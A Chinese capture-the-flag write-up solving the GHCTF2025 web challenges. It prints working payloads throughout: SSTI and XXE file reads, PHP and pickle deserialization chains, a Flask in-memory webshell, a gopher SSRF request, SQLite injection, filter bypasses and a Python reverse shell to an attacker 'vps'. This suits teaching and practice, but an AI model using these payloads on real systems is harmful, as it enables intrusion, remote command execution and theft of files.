GHCTF2025--Web
upload?SSTI!
import os
import refrom flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filenameapp = Flask(__name__)# 配置信息
UPLOAD_FOLDER = 'static/uploads' # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024 # 限制上传大小为 16MBapp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):return os.path.commonpath([basedir,path])def contains_dangerous_keywords(file_path):dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]with open(file_path, 'rb') as f:file_content = str(f.read())for keyword in dangerous_keywords:if keyword in file_content:return True # 找到危险关键字,返回 Truereturn False # 文件内容中没有危险关键字
def allowed_file(filename):return '.' in filename and \filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS@app.route('/', methods=['GET', 'POST'])
def upload_file():if request.method == 'POST':# 检查是否有文件被上传if 'file' not in request.files:return jsonify({"error": "未上传文件"}), 400file = request.files['file']# 检查是否选择了文件if file.filename == '':return jsonify({"error": "请选择文件"}), 400# 验证文件名和扩展名if file and allowed_file(file.filename):# 安全处理文件名filename = secure_filename(file.filename)# 保存文件save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)file.save(save_path)# 返回文件路径(绝对路径)return jsonify({"message": "File uploaded successfully","path": os.path.abspath(save_path)}), 200else:return jsonify({"error": "文件类型错误"}), 400# GET 请求显示上传表单(可选)return '''<!doctype html><title>Upload File</title><h1>Upload File</h1><form method=post enctype=multipart/form-data><input type=file name=file><input type=submit value=Upload></form>'''@app.route('/file/<path:filename>')
def view_file(filename):try:# 1. 过滤文件名safe_filename = secure_filename(filename)if not safe_filename:abort(400, description="无效文件名")# 2. 构造完整路径file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)# 3. 路径安全检查if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):abort(403, description="禁止访问的路径")# 4. 检查文件是否存在if not os.path.isfile(file_path):abort(404, description="文件不存在")suffix=os.path.splitext(filename)[1]print(suffix)if suffix==".jpg" or suffix==".png" or suffix==".gif":return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')if contains_dangerous_keywords(file_path):# 删除不安全的文件os.remove(file_path)return jsonify({"error": "Waf!!!!"}), 400with open(file_path, 'rb') as f:file_data = f.read().decode('utf-8')tmp_str = """<!DOCTYPE html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>查看文件内容</title></head><body><h1>文件内容:{name}</h1> <!-- 显示文件名 --><pre>{data}</pre> <!-- 显示文件内容 --><footer><p>© 2025 文件查看器</p></footer></body></html>""".format(name=safe_filename, data=file_data)return render_template_string(tmp_str)except Exception as e:app.logger.error(f"文件查看失败: {str(e)}")abort(500, description="文件查看失败:{} ".format(str(e)))# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):return {"error": error.description}, 404@app.errorhandler(403)
def forbidden(error):return {"error": error.description}, 403if __name__ == '__main__':app.run("0.0.0.0",debug=False)
很明显的ssti, 过滤的内容也不多
直接编码绕就行
payload:
{{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat /f*")|attr("\u0072\u0065\u0061\u0064")()}}
直接访问 /file/1.txt
就行
(>﹏<)
直接给了源码
from flask import Flask, request
import base64
from lxml import etree
import reapp = Flask(__name__)@app.route('/')
def index():return open(__file__).read()@app.route('/ghctf', methods=['POST'])
def parse():xml = request.form.get('xml')print(xml)if xml is None:return "No System is Safe."parser = etree.XMLParser(load_dtd=True, resolve_entities=True)root = etree.fromstring(xml, parser)name = root.find('name').textreturn name or Noneif __name__ == "__main__":app.run(host='0.0.0.0', port=8080)
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
load_dtd=True: 允许解析器加载并处理 XML 文档中的 DTD
resolve_entities=True: 启用实体解析功能,包括外部实体
很明显的打xxe, 而且也没有什么过滤
import requestsurl="http://node2.anna.nssctf.cn:28836/ghctf"
payload="""<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///flag">
]>
<root><name>&xxe;</name>
</root>"""data={"xml":payload}
res = requests.post(url=url, data=data)
print(res.text)
ez_readfile
代码很简单
<?phpshow_source(__FILE__);if (md5($_POST['a']) === md5($_POST['b'])) {if ($_POST['a'] != $_POST['b']) {if (is_string($_POST['a']) && is_string($_POST['b'])) {echo file_get_contents($_GET['file']);}}}
?>
基础的md5绕过, 然后就是file_get_contents
读文件
但是读了/flag
没有反应, 应该是改了文件名
首先开始想的是PHP Base64 Filter宽松解析特性和iconv filter编码转换构造命令执行
但是好像没有用, 根本没办法去执行
然后想的是利用CVE-2024-2961
从读文件到rce, 但也是一直没成功, 有点不理解
后面就想读一下环境变量, /proc/self/environ
, 但是权限不足
就一直想找有没有什么文件能指定flag文件的名字
后面就找到了/docker-entrypoint.sh
这个文件
发现里面有flag的文件名 (真是离谱的长)
直接读它拿到flag
Popppppp
php反序列化, 看似代码很多, 其实大都是没有用的
一些分析的过程写在注释里面了
<?php
error_reporting(0);class CherryBlossom {public $fruit1;public $fruit2;public function __construct($a) {$this->fruit1 = $a;}function __destruct() {echo $this->fruit1; //找toString,有三个类存在这个方法 CherryBlossom, UselessTwo, Samurai//1.1 $fruit1=new CherryBlossom }public function __toString() {$newFunc = $this->fruit2;return $newFunc(); //找__invoke, 1.2 $fruit2= new Philosopher}
}class Forbidden {private $fruit3;public function __construct($string) {$this->fruit3 = $string;}public function __get($name) {$var = $this->$name;$var[$name]();}
}class Warlord {public $fruit4;public $fruit5;public $arg1;public function __call($arg1, $arg2) {$function = $this->fruit4;return $function();}public function __get($arg1) {$this->fruit5->ll2('b2');}
}class Samurai {public $fruit6;public $fruit7;public function __toString() {$long = @$this->fruit6->add();return $long;}public function __set($arg1, $arg2) {if ($this->fruit7->tt2) {echo "xxx are the best!!!";}}
}class Mystery {//自己手动加public $SplFileObject = "php://filter/read=convert.base64-encode/resource=/flag";//$day2对象的属性名, $day1是对象的属性值public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = new $day2($day1); //利用SplFileObject读取文件foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}
}class Princess {protected $fruit9;protected function addMe() {return "The time spent with xxx is my happiest time" . $this->fruit9;}public function __call($func, $args) {call_user_func([$this, $func . "Me"], $args);}
}class Philosopher {public $fruit10;public $fruit11="sr22kaDugamdwTPhG5zU";public function __invoke() {if (md5(md5($this->fruit11)) == 666) {//需要绕过, 弱比较, 所以需要找到md5值开头是666后接字母的表达, 写一个脚本跑一下可以找到很多 比如"7000120353"return $this->fruit10->hey; //hey是不存在的属性,找__get 有三个类里面有这个方法, Mystery, Warlord, Forbidden} //使用Mystery 1.3 $fruit10=new Mystery}
}class UselessTwo {public $hiddenVar = "123123";public function __construct($value) {$this->hiddenVar = $value;}public function __toString() {return $this->hiddenVar;}
}class Warrior {public $fruit12;private $fruit13;public function __set($name, $value) {$this->$name = $value;if ($this->fruit13 == "xxx") {strtolower($this->fruit12);}}
}class UselessThree {public $dummyVar;public function __call($name, $args) {return $name;}
}class UselessFour {public $lalala;public function __destruct() {echo "Hehe";}}if (isset($_GET['GHCTF'])) {unserialize($_GET['GHCTF']);
} else {highlight_file(__FILE__);
}//利用点: 1.Mystery里面的array_walk函数
//2. Princess类里面的call_user_func函数$a=new CherryBlossom();
$a->fruit1=new CherryBlossom();
$a->fruit1->fruit2= new Philosopher();
$a->fruit1->fruit2->fruit11=7000120353;
$a->fruit1->fruit2->fruit10=new Mystery();echo serialize($a);
最后就是要利用php的原生类进行读取目录以及读取文件
GlobIterator
配合glob://
协议读取根目录
SplFileObject
配合php伪协议读取文件
<?php
error_reporting(0);class CherryBlossom {public $fruit1;public $fruit2;function __destruct() {echo $this->fruit1; //找toString,有三个类存在这个方法 CherryBlossom, UselessTwo, Samurai//1.1 $fruit1=new CherryBlossom}public function __toString() {$newFunc = $this->fruit2;return $newFunc(); //找invoke, 1.2 $fruit2= new Philosopher}
}class Mystery {//自己手动加
// public $SplFileObject = "php://filter/read=convert.base64-encode/resource=flag.php";public $GlobIterator="glob:///*";public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = new $day2($day1); //利用SplFileObject读取文件foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}
}class Philosopher {public $fruit10;public $fruit11="sr22kaDugamdwTPhG5zU";public function __invoke() {if (md5(md5($this->fruit11)) == 666) {//需要绕过, 若比较, 所以需要找到md5值开头是666后接字母的表达 "7000120353"return $this->fruit10->hey; //hey是不存在的属性,找__get 有三个类里面有这个方法, Mystery, Warlord, Forbidden} //使用Mystery 1.3 $fruit10=new Mystery}
}//利用点: Mystery里面的array_walk函数$a=new CherryBlossom();
$a->fruit1=new CherryBlossom();
$a->fruit1->fruit2= new Philosopher();
$a->fruit1->fruit2->fruit11=7000120353;
$a->fruit1->fruit2->fruit10=new Mystery();echo urlencode(serialize($a));
md5爆破的脚本
# @Author :wi1shuimport hashlib
import threadingtotal = 100000000000 # 从1到多少
threads = 100 # 线程数
truncation = "666" # 被截断的值
positions = [0, 3] # 截断位置
per_thread = total // threads
threads_list = []def double_md5(value):first_hash = hashlib.md5(str(value).encode()).hexdigest()second_hash = hashlib.md5(first_hash.encode()).hexdigest()return second_hashdef calculate_md5(start, end):for i in range(start, end):md5 = double_md5(i)if md5[positions[0]:positions[1]] == truncation:print(f"{truncation} -> {i}: {md5}")if __name__ == "__main__":for i in range(threads):start = i * per_thread + 1end = start + per_threadif i == threads - 1:end = total + 1thread = threading.Thread(target=calculate_md5, args=(start, end))threads_list.append(thread)thread.start()for thread in threads_list:thread.join()print("finished.")
ezzzz_pickle
一个登录框, admin / admin123 弱口令进入
点击读取flag, 抓包, 可以看到一个filename
参数
可以读取文件
感觉这个读取文件的全都可以用前面发现的非预期了
读取这个文件docker-entrypoint.sh
不过还是要尝试预期做法, 读一下源码
from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import osapp = Flask(__name__)def generate_key_iv():key = os.environ.get('SECRET_key').encode()iv = os.environ.get('SECRET_iv').encode()return key, ivdef aes_encrypt_decrypt(data, key, iv, mode='encrypt'):cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())if mode == 'encrypt':encryptor = cipher.encryptor()padder = padding.PKCS7(algorithms.AES.block_size).padder()padded_data = padder.update(data.encode()) + padder.finalize()result = encryptor.update(padded_data) + encryptor.finalize()return base64.b64encode(result).decode()elif mode == 'decrypt':decryptor = cipher.decryptor()encrypted_data_bytes = base64.b64decode(data)decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()return unpadded_data.decode()users = {"admin": "admin123"}def create_session(username):session_data = {"username": username, "expires": time.time() + 3600}pickled = pickle.dumps(session_data)pickled_data = base64.b64encode(pickled).decode('utf-8')key, iv = generate_key_iv()session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')return sessiondef download_file(filename):path = os.path.join("static", filename)with open(path, 'rb') as f:data = f.read().decode('utf-8')return datadef validate_session(cookie):try:key, iv = generate_key_iv()pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')pickled_data = base64.b64decode(pickled)session_data = pickle.loads(pickled_data)if session_data["username"] != "admin":return Falsereturn session_data if session_data["expires"] > time.time() else Falseexcept:return False@app.route("/", methods=['GET', 'POST'])
def index():if "session" in request.cookies:session = validate_session(request.cookies["session"])if session:data = ""filename = request.form.get("filename")if filename:data = download_file(filename)return render_template("index.html", name=session['username'], file_data=data)return redirect("/login")@app.route("/login", methods=["GET", "POST"])
def login():if request.method == "POST":username = request.form.get("username")password = request.form.get("password")if users.get(username) == password:resp = make_response(redirect("/"))resp.set_cookie("session", create_session(username))return respreturn render_template("login.html", error="Invalid username or password")return render_template("login.html")@app.route("/logout")
def logout():resp = make_response(redirect("/login"))resp.delete_cookie("session")return respif __name__ == "__main__":app.run(host="0.0.0.0", debug=False)
可以拿到源码, 可以发现在校验cookie的时候会执行 pickle.loads
, 进行反序列化, 就是要利用这里, 所以需要伪造cookie
def validate_session(cookie):try:key, iv = generate_key_iv()pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')pickled_data = base64.b64decode(pickled)session_data =a pickle.loads(pickled_dta) #漏洞点, 进行反序列化if session_data["username"] != "admin":return Falsereturn session_data if session_data["expires"] > time.time() else Falseexcept:return False
继续读环境变量, 可以发现SECRET_key
, SECRET_iv
的值
key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
iv=asdwdggiouewhgpw
有了key, 那就可以伪造cookie了, 当服务器校验cookie的时候就可以触发
pickle.loads
进行反序列化, 执行恶意代码了
不过没有回显, 可以尝试写文件, 反弹shell, 打内存马之类的
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import osclass Exploit:def __reduce__(self):return (os.system, ('whoami > /tmp/1.txt',))def generate_key_iv():key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"iv = b"asdwdggiouewhgpw"return key, ivdef aes_encrypt_decrypt(data, key, iv, mode='encrypt'):cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())if mode == 'encrypt':encryptor = cipher.encryptor()padder = padding.PKCS7(algorithms.AES.block_size).padder()padded_data = padder.update(data.encode()) + padder.finalize()result = encryptor.update(padded_data) + encryptor.finalize()return base64.b64encode(result).decode()elif mode == 'decrypt':decryptor = cipher.decryptor()encrypted_data_bytes = base64.b64decode(data)decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()return unpadded_data.decode()users = {"admin": "admin123"}def create_session(username):session_data = {"username": username, "expires": time.time() + 3600, "exp":Exploit()} #加上恶意代码pickled = pickle.dumps(session_data)pickled_data = base64.b64encode(pickled).decode('utf-8')print(pickled_data)key, iv = generate_key_iv()session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')print("[+]session:"+session)return sessiondef validate_session(cookie):try:key, iv = generate_key_iv()pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')# print(pickled)pickled_data = base64.b64decode(pickled)# print(pickled_data)session_data = pickle.loads(pickled_data)print(session_data)if session_data["username"] != "admin":return Falsereturn session_data if session_data["expires"] > time.time() else Falseexcept:return Falsecreate_session("admin")
# 3AIoDTviFKHyONegqv4u+FWzecUPuH3EsKRB1Vioy9BWo7scZqKebzY5GfXDjcWUxxwwZWo1QRVo3tmcAosqCnRWQUtPARbxkZsiGhTQSA4iu28IAZp/5LKFcdfVXji+IOTuvlcc2mjPionMqgOZ3aomjGveIS0rbYoe9nok6yTzitoe3B4tf23ltbIGKWGE
有点奇怪, 我自己本地试了一下这个cookie是可以被反序列化然后执行的, 但是靶机上一直没成功,可能没有权限还是干嘛
然后又试试打内存马
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import osclass Exp:def __reduce__(self):return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))def generate_key_iv():key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"iv = b"asdwdggiouewhgpw"return key, ivdef aes_encrypt_decrypt(data, key, iv, mode='encrypt'):cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())if mode == 'encrypt':encryptor = cipher.encryptor()padder = padding.PKCS7(algorithms.AES.block_size).padder()padded_data = padder.update(data.encode()) + padder.finalize()result = encryptor.update(padded_data) + encryptor.finalize()return base64.b64encode(result).decode()elif mode == 'decrypt':decryptor = cipher.decryptor()encrypted_data_bytes = base64.b64decode(data)decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()return unpadded_data.decode()users = {"admin": "admin123"}def create_session(username):session_data = {"username": username, "expires": time.time() + 3600,}pickled = pickle.dumps(session_data)pickled_data = base64.b64encode(pickled).decode('utf-8')print(pickled_data)key, iv = generate_key_iv()session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')print("[+]session:"+session)return sessiondef validate_session(cookie):try:key, iv = generate_key_iv()pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')# print(pickled)pickled_data = base64.b64decode(pickled)# print(pickled_data)session_data = pickle.loads(pickled_data)print(session_data)if session_data["username"] != "admin":return Falsereturn session_data if session_data["expires"] > time.time() else Falseexcept:return Falseexp = Exp()
create_session(exp)
UPUPUP
可以上传.htaccess
文件
但是后端检验了mine
类型, 直接加上GIF89a
上传会报500错误,有语法错误, 而在.htaccess 中有两个注释符,或者相当于单行注释的符号 , 可以通过这两个绕过getimagesize和exif_imagetype
\x00
#
所以就可以这样写.htaccess
#define width 1
#define height 1
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
在上传1.jpg就行
Goph3rrr
/app.py可以看到源码
关键代码
from flask import Flask, request, send_file, render_template_string
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
import hashlib
import base64
import randomapp = Flask(__name__)
BlackList = ["127.0.0.1"
]
@app.route('/Gopher')
def visit():url = request.args.get('url')if url is None:return "No url provided :)"url = urlparse(url)realIpAddress = socket.gethostbyname(url.hostname)if url.scheme == "file" or realIpAddress in BlackList:return "No (≧∇≦)"result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)return result.stdout
@app.route('/Manage', methods=['POST'])
def cmd():if request.remote_addr != "127.0.0.1":return "Forbidden!!!"if request.method == "GET":return "Allowed!!!"if request.method == "POST":return os.popen(request.form.get("cmd")).read()
本来是想在自己vps上起一个302.php跳转,Gopher?url=http://pmjphw.top/302.php
但是/Manage
路由必须要是POST方法才能执行cmd, 302跳转不起作用
所以必须用gopher协议, 发送一个post的请求
因为过滤了 127.0.0.1
, 可以使用 0.0.0.0
进行绕过
payload:
import urllib.parse
payload =\
"""POST /Manage HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 7cmd=env
"""#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://0.0.0.0:8000/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码#gopher%3A//0.0.0.0%3A8000/_POST%2520/Manage%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A8000%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25207%250D%250A%250D%250Acmd%253Denv%250D%250A
SQL???
进入首页就是这样的, 很明显, 应该就是sql注入了
经过测试, 输入单引号和双引号' "
会显示hacker, 被过滤了
union select
联合查询一下可以发现有回显点
但好像没有用, 没办法执行一些操作
前面一直卡在这, 没办法执行一些函数操作啥的, 就没管了, 后面wp出来之后才知道这是Sqlite注⼊ , 怪我见识短浅了
比如查看版本用的是 sqlite_version()
而之前我一直用的version()
,总是报错
sqlite
里面没有像其他数据库那样的information_schema
,而是依赖sqlite_master
id=1 union select 1,sqlite_version(),(select sql from sqlite_master limit 0,1),4,5
查询第一条记录的创建语句 , 可以看到存在表flag
以及字段名flag
拿数据内容
id=1 union select 1,sqlite_version(),(select * from flag),4,5
或者
id=1 union select 1,sqlite_version(),(select group_concat(flag) from flag),4,5
Message in a Bottle
一个留言板, 下意识的会以为是xss, 虽然确实可以弹窗, 但是没有什么作用
from bottle import Bottle, request, template, runapp = Bottle()# 存储留言的列表
messages = []
def handle_message(message):message_items = "".join([f"""<div class="message-card"><div class="message-content">{msg}</div><small class="message-time">#{idx + 1} - 刚刚</small></div>""" for idx, msg in enumerate(message)])board = f"""<!DOCTYPE html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>简约留言板</title><link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet"><style>:root {{--primary-color: #4a90e2;--hover-color: #357abd;--background-color: #f8f9fa;--card-background: #ffffff;--shadow-color: rgba(0, 0, 0, 0.1);}}body {{background: var(--background-color);min-height: 100vh;padding: 2rem 0;font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;}}.container {{max-width: 800px;background: var(--card-background);border-radius: 15px;box-shadow: 0 4px 6px var(--shadow-color);padding: 2rem;margin-top: 2rem;animation: fadeIn 0.5s ease-in-out;}}@keyframes fadeIn {{from {{ opacity: 0; transform: translateY(20px); }}to {{ opacity: 1; transform: translateY(0); }}}}.message-card {{background: var(--card-background);border-radius: 10px;padding: 1.5rem;margin: 1rem 0;transition: all 0.3s ease;border-left: 4px solid var(--primary-color);box-shadow: 0 2px 4px var(--shadow-color);}}.message-card:hover {{transform: translateX(10px);box-shadow: 0 4px 8px var(--shadow-color);}}.message-content {{font-size: 1.1rem;color: #333;line-height: 1.6;margin-bottom: 0.5rem;}}.message-time {{color: #6c757d;font-size: 0.9rem;display: block;margin-top: 0.5rem;}}textarea {{width: 100%;height: 120px;padding: 1rem;border: 2px solid #e9ecef;border-radius: 10px;resize: vertical;font-size: 1rem;transition: border-color 0.3s ease;}}textarea:focus {{border-color: var(--primary-color);outline: none;box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);}}.btn-custom {{background: var(--primary-color);color: white;padding: 0.8rem 2rem;border-radius: 10px;border: none;transition: all 0.3s ease;font-weight: 500;text-transform: uppercase;letter-spacing: 0.05rem;}}.btn-custom:hover {{background: var(--hover-color);transform: translateY(-2px);box-shadow: 0 4px 8px var(--shadow-color);}}h1 {{color: var(--primary-color);text-align: center;margin-bottom: 2rem;font-weight: 600;font-size: 2.5rem;text-shadow: 2px 2px 4px var(--shadow-color);}}.btn-danger {{transition: all 0.3s ease;padding: 0.6rem 1.5rem;border-radius: 10px;text-transform: uppercase;letter-spacing: 0.05rem;}}.btn-danger:hover {{transform: translateY(-2px);box-shadow: 0 4px 8px var(--shadow-color);}}.text-muted {{font-style: italic;color: #6c757d !important;}}@media (max-width: 576px) {{h1 {{font-size: 2rem;}}.container {{padding: 1.5rem;}}.message-card {{padding: 1rem;}}}}</style></head><body><div class="container"><div class="d-flex justify-content-between align-items-center mb-4"><h1 class="mb-0">📝 简约留言板</h1><a href="/Clean" class="btn btn-danger"onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')">🗑️ 一键清理</a></div><form action="/submit" method="post"><textarea name="message" placeholder="输入payload暴打出题人"required></textarea><div class="d-grid gap-2"><button type="submit" class="btn-custom">发布留言</button></div></form><div class="message-list mt-4"><div class="d-flex justify-content-between align-items-center mb-3"><h4 class="mb-0">最新留言({len(message)}条)</h4>{f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}</div>{message_items}</div></div></body></html>"""return boarddef waf(message):return message.replace("{", "").replace("}", "")@app.route('/')
def index():return template(handle_message(messages))@app.route('/Clean')
def Clean():global messagesmessages = []return '<script>window.location.href="/"</script>'@app.route('/submit', method='POST')
def submit():message = waf(request.forms.get('message'))messages.append(message)return template(handle_message(messages))if __name__ == '__main__':run(app, host='localhost', port=9000)
看到代码, 会将 {
和}
替换为空, 使用了bottle库, 查找一些资料, 发现存在ssti模板注入, 本地搭建环境, 把waf去掉, 可以发现使用 {{2*2}}
会回显4, 确实存在漏洞
不过{ 和 } 被替换为空了那么就几乎不可能使用这种方法了
进过查找一些资料, 可以发现可以通过 %
来执行python代码
本地测试了一下
可以执行代码, 但是题目是没有回显的, 所以需要反弹shell, 连上自己的vps
message=%0A%import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);#
虽然这里显示请求失败, 但服务器还是连上了
GetShell
<?php
highlight_file(__FILE__);class ConfigLoader {private $config;public function __construct() {$this->config = ['debug' => true,'mode' => 'production','log_level' => 'info','max_input_length' => 100,'min_password_length' => 8,'allowed_actions' => ['run', 'debug', 'generate']];}public function get($key) {return $this->config[$key] ?? null;}
}class Logger {private $logLevel;public function __construct($logLevel) {$this->logLevel = $logLevel;}public function log($message, $level = 'info') {if ($level === $this->logLevel) {echo "[LOG] $message\n";}}
}class UserManager {private $users = [];private $logger;public function __construct($logger) {$this->logger = $logger;}public function addUser($username, $password) {if (strlen($username) < 5) {return "Username must be at least 5 characters";}if (strlen($password) < 8) {return "Password must be at least 8 characters";}$this->users[$username] = password_hash($password, PASSWORD_BCRYPT);$this->logger->log("User $username added");return "User $username added";}public function authenticate($username, $password) {if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {$this->logger->log("User $username authenticated");return "User $username authenticated";}return "Authentication failed";}
}class StringUtils {public static function sanitize($input) {return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');}public static function generateRandomString($length = 10) {return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);}
}class InputValidator {private $maxLength;public function __construct($maxLength) {$this->maxLength = $maxLength;}public function validate($input) {if (strlen($input) > $this->maxLength) {return "Input exceeds maximum length of {$this->maxLength} characters";}return true;}
}class CommandExecutor {private $logger;public function __construct($logger) {$this->logger = $logger;}public function execute($input) {if (strpos($input, ' ') !== false) {$this->logger->log("Invalid input: space detected");die('No spaces allowed');}@exec($input, $output);$this->logger->log("Result: $input");return implode("\n", $output);}
}class ActionHandler {private $config;private $logger;private $executor;public function __construct($config, $logger) {$this->config = $config;$this->logger = $logger;$this->executor = new CommandExecutor($logger);}public function handle($action, $input) {if (!in_array($action, $this->config->get('allowed_actions'))) {return "Invalid action";}if ($action === 'run') {$validator = new InputValidator($this->config->get('max_input_length'));$validationResult = $validator->validate($input);if ($validationResult !== true) {return $validationResult;}return $this->executor->execute($input);} elseif ($action === 'debug') {return "Debug mode enabled";} elseif ($action === 'generate') {return "Random string: " . StringUtils::generateRandomString(15);}return "Unknown action";}
}if (isset($_REQUEST['action'])) {$config = new ConfigLoader();$logger = new Logger($config->get('log_level'));$actionHandler = new ActionHandler($config, $logger);$input = $_REQUEST['input'] ?? '';echo $actionHandler->handle($_REQUEST['action'], $input);
} else {$config = new ConfigLoader();$logger = new Logger($config->get('log_level'));$userManager = new UserManager($logger);if (isset($_POST['register'])) {$username = $_POST['username'];$password = $_POST['password'];echo $userManager->addUser($username, $password);}if (isset($_POST['login'])) {$username = $_POST['username'];$password = $_POST['password'];echo $userManager->authenticate($username, $password);}$logger->log("No action provided, running default logic");
}
代码看着很复杂, 但很多也不用去看
直接构造这样的payload就可以执行命令了
过滤了空格, 可以用${IFS}
绕过
?action=run&input=ls${IFS}-l${IFS}/
但是无法拿到flag, 看一下权限发现完全没有任何权限
尝试suid提权
find${IFS}/${IFS}-user${IFS}root${IFS}-perm${IFS}-4000${IFS}-print或者输出到tmp目录下去
find${IFS}/${IFS}-user${IFS}root${IFS}-perm${IFS}-4000${IFS}-print${IFS}>/tmp/1.txt
好像也没啥可以利用的, 不过看着这个 /var/www/html/wc
感觉有点奇怪, 也不知道有什么用
/var/www/html/wc
/bin/umount
/bin/mount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
尝试执行一下, 应该输出了/flag
的行数 单词数 字符数
, 但没法显示出flag啊 , 不知道要怎么利用
看了wp后发现, 这个
wc
的用法
https://gtfobins.github.io/
使用/var/www/html/wc --files0-from "/flag"
即可读到flag
相关文章:

GHCTF2025--Web
upload?SSTI! import os import refrom flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect from werkzeug.utils import secure_filename import os from werkzeug.utils import secure_filenameapp Flask(__name__)# 配置…...

NO.32十六届蓝桥杯备战|函数|库函数|自定义函数|实参|形参|传参(C++)
函数是什么 数学中我们其实就⻅过函数的概念,⽐如:⼀次函数 y kx b ,k和b都是常数,给⼀个任意的x ,就得到⼀个 y 值。其实在C/C语⾔中就引⼊了函数(function)的概念,有些翻译为&a…...

计算机视觉算法实战——老虎个体识别(主页有源码)
✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连✨ 1. 领域介绍 老虎个体识别是计算机视觉中的一个重要应用领域,旨在通过分析老虎的独特条纹图案,自动识别和区…...

【移动WEB开发】rem适配布局
